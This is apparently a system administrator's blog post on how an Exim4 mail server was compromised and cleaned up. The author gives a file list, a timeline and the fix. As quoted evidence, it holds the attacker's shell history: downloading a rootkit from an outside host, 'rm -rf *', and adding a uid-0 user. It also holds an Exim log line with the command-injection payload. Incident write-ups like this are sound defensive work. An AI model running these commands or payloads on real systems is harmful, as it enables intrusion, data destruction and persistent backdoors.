My Exim is under attack!!

Exim logotipe

A few days ago, I received one alarm from one mail list server under my management. /etc/password
file had been modified. In fact, my system had been broke down and somebody was modifying
my server at will. Fortunetly, I often configure my monitor system to check
md5
variations in important files of the system.
Quickly, I logged on the host and, shaw the next commands executed as
root on my server:

 id
pwd
cd ..
cd ..
ls
rm -rf *
ls
wget \freewebtown.com/zaxback/rk.tar
tar xzvf rk.tar
cd shv5
./setup 54472Nx79904 9292
ls
pwd
ls
/usr/sbin/useradd -u 0 -g 0 -o mt
passwd mt

The hacker had installed something on my server and I had to discover what! …

The downloaded package, rk.tar (http://freewebtown.com/zaxback/rk.tar) contained a
the badware trojan called shv5. This mainly was a backdoor and a suite of fake
system libraries and binaries changed maliciously.

The first task in the TODO list was check if somebody else was conected yet
in the system and, at least review review the auth.log to known to IP which
was the ofrigin of the attack.

Once detected the hacker’s IP and confirmed my suspicion about the origin of the
attack: a windows infected host (a zombie), I decided that
follow the tracks of the hacker was time to lose, so I began to check
the scope of intrusion.

Reviewing the rk.tar package and the setup.sh script I got to make a list
of posible infected files on my server:

/sbin/xlogin
/bin/login
/etc/sh.conf
/bin/.bash_history
/lib/lidps1.so
/usr/include/hosts.h
/usr/include/file.h
/usr/include/log.h
/usr/include/proc.h
/lib/libsh.so
/lib/libsh.so/*
/usr/lib/libsh
/usr/lib/libsh/*
/sbin/ttyload
/usr/sbin/ttyload
/sbin/ttymon
/etc/inittab
/usr/bin/ps
/bin/ps
/sbin/ifconfig
/usr/sbin/netstat
/bin/netstat
/usr/bin/top
/usr/bin/slocate
/bin/ls
/usr/bin/find
/usr/bin/dir
/usr/sbin/lsof
/usr/bin/pstree
/usr/bin/md5sum
/sbin/syslogd
/etc/ttyhash
/lib/ldd.so
/lib/ldd.so/*
/usr/src/.puta
/usr/src/.puta/*
/usr/sbin/xntpd
/usr/sbin/nscd
/usr/info/termcap.info-5.gz
/usr/include/audit.h
/usr/include/bex
/usr/include/bex/*
/var/log/tcp.log
/usr/bin/sshd2
/usr/bin/xsf
/usr/bin/xchk
/dev/tux
/usr/bin/ssh2d
/lib/security/.config/
/lib/security/.config/*
/etc/ld.so.hash
/etc/rc.d/rc.sysinit
/etc/inetd.conf

I noted that many importat commands of the system has been changed for others
non-safe commands. The reason was obviously: Hide the Troyan!. Also, the
badware had modified attributes of infected files to avoid modifications
(chattr +isa /usr/sbin/netstat, for example).

Inmediatly, I decided the reinstallation of the main binaries and libraries
of the system:

apt-get install --reinstall net-tools coreutils

After recover safe versions of commands like netstat, md5sum, ls or similars,
I began to see what was really happen on the system:

  • A keylogger was up on the system:
    root      7469  0.0  0.0   1804   652 ?        S    14:55   0:00 ttymon tymon
    
    tcp        0      0 0.0.0.0:9292            0.0.0.0:* LISTEN     7467/ttyload
  • A hide HTTP/FTP server was running:
    103       7671  0.1  0.1   4936  2968 ?        S    14:58   0:18  syslogr
    root     10886  0.0  0.0  11252  1200 ?        Sl   17:39   0:00 /usr/sbin/httpd
    
    tcp        0      0 0.0.0.0:64842           0.0.0.0:* LISTEN     7424/httpd

syslogr process wasn’t nothing related to the syslog system. It was a process
which launched the hide HTTP/FTP service to share files … files of the infected server.
I addition, syslogr proccess was relaunched by a root cronjob to keep up
this proccess on the system.

# crontab  -l
* * * * * /.../bin/cron.sh >/dev/null 2>&1

More things!, as you can observe in the cron job, somebody was created a hide
directory under / directory: /... . This directory contained the httpd
binaries and conffiles and directories used by the httpd process.

After sometime working on the server, I’d done the follow actions in order
to revoke all the security breaks detected:

  • I’d reinstalled all the binaries and libraries posible non-safe after the atack.
  • I’d erased bad process on the system aka syslogr, ttymon … and cronjobs or others
    ways to keep up these.
  • I’d deleted the user mt with the uid=0
  • I’d reviewed the SSH access to the server on the main firewall

6 coffees later, I reached one diagnostic more detailled about what was happen
… and there wasn’t good news 😩

On December 16, the server had been hacked through a vulnerability discovered
on the Exim4 service and reported on Debian Security Reports on December 10:

http://www.debian.org/security/2010/dsa-2131

This vulnerability allowed remote execution of arbitrary code and a privilege
escalation. This allowed to the attacker to inject public keys for the root
user.

2010-12-16 20:47:25 1PTJj8-0006K2-Ck rejected from  H=trbearcom.com.au (yahoo.com) [131.103.65.196]: message too big: read=52518119 max=52428800
2010-12-16 20:48:25 H=trbearcom.com.au (yahoo.com) [131.103.65.196] temporarily rejected MAIL webmaster@yahoo.com: failed to expand ACL string "/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/b
in/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh
-i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run
{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin
/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${
run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /
bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}}
${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exe
c /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&
0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c '
exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0
2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -
c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/s
h -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i
&0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bi
n/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh
-i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{
/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/
sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${
run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /b
in/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}
} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec
/bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${r
2010-12-16 20:49:06 1PTJp4-0006Kx-E5  sistemas-srv  R=mailman_router T=mailman_transport

The attack could have been controlled at this point but missed two
things:

  1. Monitorization root authorized keys file it could not see
    the changes due it didn’t have permission to access it so the monitor
    didn’t report anything.
  2. At sometime, the SSH restriction access was removed.

These facts allowed that the attack continues hidden until Janury 9. I lose!!!

As a summary, the timing of the attack is as follows:

  • December 10, Exim vulnerability discovered an published

    NM/09 Bugzilla 787: Potential buffer overflow in string_format Patch provided by Eugene Bujak

  • December 16, a large-scale attack is performed using this vulnerability where my host is break down from trbearcom.com.au (yahoo.com) [131.103.65.196]. In this attack it’ll incorporate public key of the attacker root
  • December 26, the attacker inserts a Trojan into my host
  • January 9, the attacker inserts a keylogger and attempts to hide editing system tools. During this attack, my monitors notified the /etc/password file is changed

Finally, I knew how to the attacker had break down my server and things which I’d to fix, so I ‘d make the following actions in order to restore the security of may server:

  • Updated the system to lenny:
    1. Edit the /etc/apt/sources.list file fixing the repositories to lenny
    2. sudo aptitude update
    3. sudo aptitude install apt dpkg aptitude
    4. sudo aptitude full-upgrade

More references:

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s